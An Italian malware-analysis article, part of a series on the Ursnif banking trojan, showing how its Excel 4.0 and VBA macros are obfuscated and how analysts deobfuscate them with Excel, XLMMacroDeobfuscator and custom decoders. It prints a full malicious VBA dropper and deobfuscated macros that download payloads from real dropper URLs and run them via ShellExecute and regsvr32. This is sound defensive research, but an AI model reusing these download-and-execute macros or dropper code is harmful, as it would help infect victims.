YAU – Parte 2 – Le macro

14/01/2021

yau

Nell’articolo precedente avevamo introdotto le categorie di macro usate da Ursnif nel corso del tempo. Lo schema riassuntivo è il seguente.

Le tecniche di infezione usate dalle macro di Ursnif

In questo articolo affronteremo le tre categorie di macro, vedremo quali strumenti sono a disposizione dell’analista e se è possibile automatizzare l’analisi.

Yet Another Ursnif

Questo è il secondo di una seria di articoli, tutti raggruppati qui.

Indice

Parte 1, Le e-mail e il documento Excel
Parte 2, Le macro <-
Parte 3, Il packer
Parte 4, Primo stadio e la sezione bss
Parte 5, Ancora il primo stadio e i “JJ chunk”
Parte 6, Il secondo stadio e i primi IoC
Parte 7, Il secondo stadio, seed, GUID e privilegi
Parte 8, Il secondo stadio, configurazione e download
Parte 9, Il secondo stadio, salvataggio dei moduli e persistenza
Parte 10, Rimozione di Ursnif
Parte 11, Il client, inizializzazione e configurazione
Parte 12, Il client, da powershell ad explorer.exe ai browser
Parte 13, Il client, comandi e trasmissione al C2
Parte 14, Il C2, panoramica
Parte 15, Il C2, i sorgenti e l’architettura
Parte 16, Il C2, vulnerabilità
Parte 17, OSINT e resoconto finale

I documenti con sole macro 4.0

La macro 4.0 non poco supportate dagli strumenti, per cui non esiste un’unica linea di azione per l’analisi di queste macro.

Excel

Excel può sempre essere usato per il debug di queste macro, questo purtroppo richiede di avere un’installazione di Office e non è immediato come l’utilizzo di strumenti di estrazione delle macro (tipo olevba).

Attenzione: questo metodo esegue il codice malevolo.

Per il debug delle macro 4.0 è necessario trovare la cella da cui inizia l’esecuzione.
Prima di VBA l’esecuzione automatica all’avvio avveniva tramite la definizione di un nome di valore “Auto_open” (Auto_apri in italiano).
Cercando questo nome tra quelli definiti, possiamo ottenere la cella di entrypoint della macro 4.0.

Su Excel 2010 l’elenco dei nomi definiti si trova nel ribbon “Formule” e poi cliccando sul pulsante “Gestione nomi“.

L’elenco dei nomi in un documento malevolo di Ursnif. Si noti il nome “Auto_apri”.

Individuata la cella, facendo tasto destro e scegliendo “Esegui”, è possibile fare debug passo passo della macro. Dalla finestra di dialogo che si apre scegliere “Esegui istruzione” e poi seguire passo passo la macro.

La finestra di dialogo per l’esecuzione passo passo.

L’offuscazione usata è piuttosto semplice, consiste in salti fra le celle e concatenazione di valori.
Tramite i pulsanti “Esegui istruzione” e “Valuta” e facile ottenere l’URL dropper.

L’URL dropper, ottenuto con due passi di esecuzione (un’esecuzione di istruzione ed una valutazione).

Strumenti offline

Possiamo definire il metodo sopra “online”, poichè richiede l’utilizzo di Excel per eseguire, sebbene passo passo, la macro a tutti gli effetti.

Ci sono strumenti che permettono di recuperare le istruzioni della macro, o di simularla?

olevba, tipicamente usato per le macro VBA, non è ancora in grado di svolgere questo lavoro.

Uno strumento promettente è XLMMacroDeobfuscator.
Va precisato che questo strumento è ancora un “Work-in-progress”, ha problemi con documenti XLSB e abbiamo dovuto inviare una patch all’autore per farlo funzionare con i recenti documenti di Ursnif.

Consigliamo l’installazione direttamente dal repository GIT, per avere l’ultima versione possibile.

git clone https://github.com/DissectMalware/XLMMacroDeobfuscator
cd XMLMacroDeobfuscator
pip install -r requirements.txt
pip install -e .

Ovviamente, lavorate nel vostro environment python (eventualmente virtuale) preferito.

XLMMacroDeobfuscator (XMD d’ora in poi) può essere usato in due modalità:

  • Come interprete di macro 4.0.
    Lanciandolo con l’opzione -s ed un documento Excel da cui leggere i valori delle celle, è possibile inserire comandi macro 4.0 ed eseguirli.
    Questo permette di facilitare il lavoro di analisi.
  • Come deoffuscatore.
    Questa modalità è molto lontana dal funzionare, ma è possibile vedere i passi eseguiti nell’emulazione della macro con l’opzione -o 0.
    In questo modo, se si è fornutati, XMD riesce ad emulare la macro fino al punto in cui compone l’URL dropper.

Sfortunatamente, l’autore non ha ancora recepito la patch da noi inviata. Senza la quale processare il file visto precedentemente non è possibile.

Facciamo presente che abbiamo inviato una patch e non una Pull-request perchè i fix introdotti non si addicono alla struttura del codice del progetto.
Questo manca infatti dei requisiti necessari per una corretta emulazione delle macro, le modifiche da noi introdotte sono servite solo per l’analisi del sample e lasciamo quindi che sia l’autore ad integrarle secondo le logiche di evoluzione del progetto.

Per applicare la patch, scaricarla qui ed eseguire:

git checkout -b experimental 7a102a7da
git am 001-CERT-AGID.patch

Se tutto è andato a buon fine, eseguendo XMD con l’opzione -o otteniamo l’URL di dropper:

auto_open: auto_open->jf!$T$73
[Starting Deobfuscation]
CELL:T73       , FullEvaluation      , $GU$614()
CELL:GU614     , FullEvaluation      , "http://liveswindow.casa/opzi0n1.dll"
CELL:GU615     , FullEvaluation      , ""
CELL:GU616     , FullEvaluation      , $AU$259()
CELL:AU259     , FullEvaluation      , FORMULA(http://liveswindow.casa/opzi0n1.dll,$BB$54)
CELL:GU617     , FullEvaluation      , RUN(jf!BV2537)
CELL:BV2537    , FullEvaluation      , "C:\DlkYKlI\UiQhTXx\sncwner.dll,DllRegisterServer"
...

XMD funziona meglio con documenti malevoli vecchi e, come argomentato sopra, è ancora lontano da una corretta emulazione delle macro.

Per i file XLSB, XMD necessità ancora di miglioramenti.

Strumenti fatti in casa

Esistono varie librerie per la gestione dei documenti Excel, purtroppo nessuna è del tutto soffisfacente, specialmente per quanto riguarda vecchi formati (le macro 4.0) o formati meno popolari (XLSB).

Abbiamo trovato le librerie python tutte insoddisfacenti.

La librerie di riferimento per la gestione dei file Excel è Apache POI.
Purtroppo il supporto per XLSB è ancora in corso e non al momento disponibile.
Abbiamo inoltre notato che il parsing delle macro 4.0 utilizza una tabella delle funzioni errata (un errore off-by-one) ed incompleta.

Avevamo realizzato uno strumento interno per deoffuscare le macro 4.0, ma è stato necessario modificare Apache POI e quindi navigare il mare di dipendenze che possiede per ricreare un progetto Maven usabile.

Il risultato era promettente

[yau@localhost] $ java -cp . macro4.Main fattura_2.xls
"e"
FORMULA("http://gstat.hamiltoncustomhomesinc.com/fattura.exe", $BB$54)
CALL("URLMON","URLDownloadToFileA","JJCCJJ",0,$BB$54,"C:\ProgramData\hdRlcTh.exe",0,0)
CALL("Shell32","ShellExecuteA","JJCCCCJ",0,"Open","C:\ProgramData\hdRlcTh.exe", ,0,0)
UNK()

Tuttavia altri impegni sono sopraggiunti e lo strumento non è stato più mantenuto.

Lo sviluppo di uno strumento in casa è quindi ancora un’operazione a cui dedicarsi a tempo pieno, il parsing dai documenti XLSM è notevolmente più facile ed è veloce in questi casi ottenere dei risultati nel breve termine.
Tuttavia la deoffuscazione della macro 4.0, è in generale tediosa per la gran quantità di funzioni (e funzionalità esotiche) supportate, incluso un buon grado di simbolicità (possibilità di generare codice dai dati, ovvero dalle stringhe).

Comportamento generale delle macro 4.0

Le macro 4.0 iniziano l’esecuzione dalla cella indicata nel nome “Auto_open”.

Devono trovarsi in macrosheet, che sono fogli di lavoro speciali, rispetto ai fogli di lavoro comunemente usati.
Solitamente questi fogli sono nascosti o “molto nascosti” (very hidden). I primi possono essere mostrati con un tasto destro del mouse sulla barra dei fogli, i secondi non sono visualizzabili dall’UI.
Libre Office può essere usato per mostrarli, ma questo software non supporta affatto le macro 4.0.

L’offuscazione avviene tramite chiamate e salti fra le celle, che, data la loro natura spaziale, sono molto noisi da seguire.
Le stringhe sono composte concatenando vari caratteri contenuti in celle sparse per tutto il foglio.
Spesso sono presenti frammenti di codice simbolico o meta-codice, ovvero chiamate a celle il cui indirizzo è composto a tempo di esecuzione o chiamate a codice composto sul momento.

In ogni caso l’obiettivo è sempre quello, utilizzare UrlDownloadFileTo e ShellExecute per il download e l’esecuzione del payload.
Alla peggio, il debug di Excel con un breakpoint su queste due API dovrebbe portare direttamente all’URL usata.
Ovviamente vi sono molte altre API usabili per il download, per cui è sempre opportuna una certa cautela.

I documenti con sole macro vba

Queste sono usate nei documenti malevoli più vecchie, al giorno d’oggi osserviamo principalmente documenti con macro VBA e macro 4.0 o con sole macro 4.0.

In questi casi il payload è spesso codificato nelle celle dei documenti. Visto che esistono svariati modi per eseguire una azione malevola rispetto alle metodologie utilizzate per rilevarla, Ursnif utilizza una combinazione di macro VBA leggermente offuscate, seguite da script PowerShell nidificati e una fase finale dove usa l’eseguibile rundll32 per rimanere invisibile.

Il lavoro svolto dalle macro VBA può rappresentato nel flusso indicato nel grafico a seguire, nel quale sono riportate le metodologie osservate nelle campagne Ursnif rilevate dal Cert-AgID.

Catena di infezione di Ursnif.

La macro VBA recupera il payload dalle celle del documento Excel, e le decodifica con un algoritmo che abbiamo chiamato Blocks.

Algoritmo Blocks

Un semplice algoritmo rilevato all’interno delle macro VBA di Ursnif che rappresenta la prima fase dell’infezione, avviando uno script PowerShell codificato nelle celle del documento.

L’algoritmo funziona su stringhe di cifre, l’ultima cifra indica la lunghezza di un blocco: cinque o quattro cifre. Il resto della stringa (privato dell’ultima cifra) è un numero intero di blocchi (di cifre), le ultime tre cifre del blocco codificano un carattere del payload, le restanti due o una singola cifra codifica la posizione di quel carattere nel payload (denominato block index).

Per aggiungere un livello di complessità, il valore del carattere viene codificato come un numero a tre cifre (decimale) aggiunto con un offset di blocco. L’offset del blocco è dato dall’indice del blocco meno il numero totale di blocchi.

Ad esempio, la stringa 109900991 è usata per codificare ab.

Le stringhe dei blocchi vengono lette dalle celle. Ogni cella viene decodificata con l’algoritmo descritto in precedenza e unita alle altre stringhe decodificate. Spesso si presenta con un payload codificato in base64, facilmente distinguibile dal resto delle stringhe, che la macro inserirà in una posizione specifica nel payload appena decodificato.

Normalmente è necessaria l’ispezione manuale della macro, l’algoritmo di decodifica assume la forma mostrata in figura.

Algoritmo di decodifica di un Block

Vale la pena notare che la macro spesso include anche un controllo del Paese basato sulle impostazioni locali della macchina e talvolta in base al nome dei mesi.

Porzione di codice (in C) del programma utilizzato internamente al Cert-AgID
La funziona aggiunge un payload codificato in base64 ai Block decrifrati

Verrà quindi eseguito un payload PowerShell, l’azione esatta dipende dalla campagna specifica. Durante il suo ciclo di vita e fino alla riscoperta dei macrofogli, le campagne Ursnif sono state identificate principalmente da come viene portata avanzi l’infezione dal payload powershell.
Abbiamo identificato tre varianti: Add type, Stages e Steganography.

Add type

Questa fase prende il nome dal comando PowerShell Add-Type, utilizzato per ottenere un assembly .NET in fase di esecuzione. Ursnif ha sfruttato questo meccanismo per eludere gli AV. L’assembly creerà semplicemente un oggetto PowerShell e vi aggiungerà uno script. L’esecuzione passerà ancora una volta tramite un ulteriore PowerShell, con meno strati di offuscazione, allo stage successivo.

Una variante di Add type

Stages

Questa fase riguarda solo un puro offuscamento del codice powershell. Essendo altamente simbolico, PowerShell ha il potenziale per creare codice con diversi strati di offuscamento. Fortunatamente la forma che assumono tutti i livelli è piuttosto semplice e si riduce ad una delle due varianti:

  1. iex-value-expr(long-expression)
  2. long-expression | iex-value-expr

Dove iex-value-expr è una qualsiasi espressione PowerShell che restituisce la stringa iex che viene successivamente trasformata in un comando tramite l’uso di opportuni operatori.
Come regola pratica, ogni stringa composta da tre segmenti/componenti/caratteri è sempre riconducibile a IEX.

Al fine di eludere gli AV più intelligenti, queste espressioni fanno riferimento a variabili esterne come variabili di ambiente o nome di dominio.
La long-expression è solo un modo banale per codificare una stringa, spesso solo un array di caratteri.

Esempio di un layer iex-valued-expr (long-expression)

Ogni livello può essere decodificato facilmente rimuovendo il valore iex-valued-expr e valutando il resto in un prompt di PowerShell, la parte più difficile è in realtà il copia-incolla poiché il prompt è leggermente limitato.

Non era raro rilevare fino a undici livelli di offuscamento.

Lo stage finale controllerà nuovamente il Paese, scaricherà il payload (che può essere codificato con semplici algoritmi) e quindi lo eseguirà. Più recentemente, ma prima della tendenza delle macro di Excel 4.0, Ursnif utilizzava rundll32 per eseguire la DLL. Prima di allora, veniva utilizzato un semplice eseguibile. Esistono diversi modi per lanciare un eseguibile in PowerShell, ma gli AV hanno iniziato a rilevare questo pattern e quindi i criminali sono passati a rundll32.

La Steganografia

In passato le campagne Ursnif hanno sfruttato anche la steganografia, spesso pubblicizzata come “malware nascosto nelle immagini“. La realtà è molto meno interessante. Un’immagine viene scaricata e caricata utilizzando la classe Bitmap della famiglia .NET, una volta in memoria il payload della fase successiva viene estratto dai valori dei pixel delle prime righe dell’immagine.
La codifica usata è semplice, un byte è diviso nei suoi due nibble (2 blocchi da 4 bit), H per quello alto e L per quello basso.
Questi due nibble sono memorizzati nei nibble bassi dei canali: verde (per L) e blu (per H).

Per estrarre un byte del payload è utilizzata la seguente espressione:

data = ((px [2] & 0xf) << 4) | (px [1] e 0xf)

dove px è un array di 3 byte nel formato formato RGB.

Immagine usata da Ursnig per codificare un payload Powershell

Questa forma di steganografia genera artefatti facilmente evidenti, ecco perché le immagini sono state scelte per avere uno sfondo rumoroso simile ad un “bianco sbiadito” quando, in realtà, erano composte da molti colori vivaci. Gli aggressori potevano impostare i nibble alti dei pixel, quindi gli è stato facile generare un ampia gamma di colori.

Vale la pena soffermarsi su un aspetto interessante: la steganografia ha a che fare con informazioni nascoste, ma il motivo per cui è stata implementata in alcune campagne Ursnif non era per inoculare un payload nella macchina della vittima (un semplice file di testo andrebbe ugualmente bene, sono infinite le possibilità di codificare i testi), piuttosto è stato utilizzato perché offriva un modo semplice per pubblicare un payload.

Il file risiedeva su un servizio di hosting di immagini gratuito, uno dei vantaggi di usare servizi di questo tipo riguarda il fatto che non possono essere inseriti in blacklist perché ospitano contenuti reali di cui usufruiscono siti di terze parti (si pensi a imgur.com).

Unendo questo al fatto che, a meno che non siano offensive, le immagini generalmente non vengono rimosse dal fornitore, l’uso delle immagini in questo caso rappresenta la vera minaccia, e non la steganografia.

I documenti VBA e macro 4.0

In questa variante, la macro VBA decodifica la macro 4.0 dal contenuto di una cella.

Si consideri questo codice VBA:

Sub PagamentoDocumento()
j = "=RE"
m = "TURN()":
Sheets(1).Cells(6, 1).value = j & m: mg = "Aut"
Sheets(1).Cells(1, 1).Name = mg & "o_io22"
c = 3:
For Each p In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants): n = n & p: Next
For X = c To Len(n) Step c
If (X Mod 2) Then k = -1 Else k = 1
u = u & Chr(Asc(Mid(n, X, 1)) + k): Next
IR = Split(u, "{")
For Each E In IR
Sheets(1).Cells(1, 1).value = "=" & Replace(E, "[", "J")
Run (mg & "o_io22")
Next
excell
End Sub
Private Sub excell()
Application.OnTime Now, "BarUno"
End Sub

Si nota che la macro ottiene il contenuto delle celle xlCellTypeConstants (solitamente una) e questa viene processata per poi essere inserita in una cella che verrà passata alla funzione Run (che la esegue).
Si tratta quindi una macro 4.0, questo si intuisce dall’istruzione RETURN() costruita ad inizio macro e dal fatto che la cella indicata si trova in un macrosheet.

L’algoritmo si può facilmente tradurre in JS, C, Python o qualsiasi altro linguaggio.

//JS
function deob(s)
{
	let r = "";
	for (let i = 2; i < s.length; i+=3)
		r += String.fromCharCode(s.charCodeAt(i) + (i % 2 ? 1 : -1));
	return r;
}

#Python
def deob(s):
	r = ""
	for i, c in enumerate(map(ord, s[2::3])):
		r += chr(c + (1 if i % 2 else -1))
	return r
	
//C	
//Ritorna la dimensione della stringa di output (incluso null term).
//s e len sono la stringa codificata e la sua dimensione
//out (che può essere NULL per non scrivere il risultato) è il buffer allocato
//dal chiamante per contenere il risultato.
int deob(const char* s, int len, char* out)
{
	int out_len = 0;
	
	for (int i = 2; i < len; i+=3)
	{
		if (out)
			out[out_len] = s[i] + (i % 2 ? 1 : -1);
		out_len++;
	}
	
	if (out)
		out[out_len] = 0;
	out_len++;
	
	return out_len;
}

La stringa ottenuta contiene (una volta spezzata) la macro da eseguire:

SET.NAME("V","aestro")
SET.NAME("m",ACOS(-0.5)*135/PI())
SET.NAME("y",COS(RADIANS(60))-COS(60*PI()/180))
SET.NAME("D","\")
SET.NAME("K","w")
SET.NAME("Z","o")
IF(ISNUMBER(SEARCH(K,GET.WORKSPACE(1))),`/`,CLOSE(TRUE))
SET.NAME("A","C:"&D&CHAR(RANDBETWEEN(65,m))&CHAR(RANDBETWEEN(65,m))&RANDBETWEEN(100,999)&CHAR(RANDBETWEEN(65,m)))
SET.NAME("if",CHAR(115))
SET.NAME("B",A&D&CHAR(RANDBETWEEN(65,m))&CHAR(RANDBETWEEN(65,m))&RANDBETWEEN(100,999)&CHAR(RANDBETWEEN(65,m)))
SET.NAME("F",GET.WORKSPACE(13)&".")
SET.NAME("U","e")
CALL("K"&U&"rn"&U&"l32","Cr"&U&"at"&U&"Direct"&Z&"ryA","JCJ",A,y)
SET.NAME("G",SET.NAME("h","mpagniam"))
CALL("Kern"&U&"l32","CreateDir"&U&"ct"&Z&"ryA","[C[",B,y)
CALL("URLMON","URLD"&Z&"wnl"&Z&"adT"&Z&"FileA", "[[CC[[",y,REPLACE("hqps:"&GET.WORKSPACE(9)&GET.WORKSPACE(9)&"co"&h&V&RIGHT(F)&"c"&Z&"m",2,1,"tt"),B&D&F,y,y)
CALL("Sh"&U&"ll32","Sh"&U&"llEx"&U&"cut"&U&"A", "[[CCCC[",y,"Op"&U&"n","r"&U&"gsvr32"," -"&if&" "&B&D&F,y,y)

Questa può essere interpretata con XLMMacroDeobfuscator usando l’opzione -s oppure si può ricomporre la stringa dell’URL a mano (dato che è la concatenazione di una manciata di variabili).

Con questo terminiamo l’analisi delle macro di Ursnif, nel prossimo articolo vedremo l’analisi della DLL scaricata (la quale risulterà essere un packer).

Taggato  yau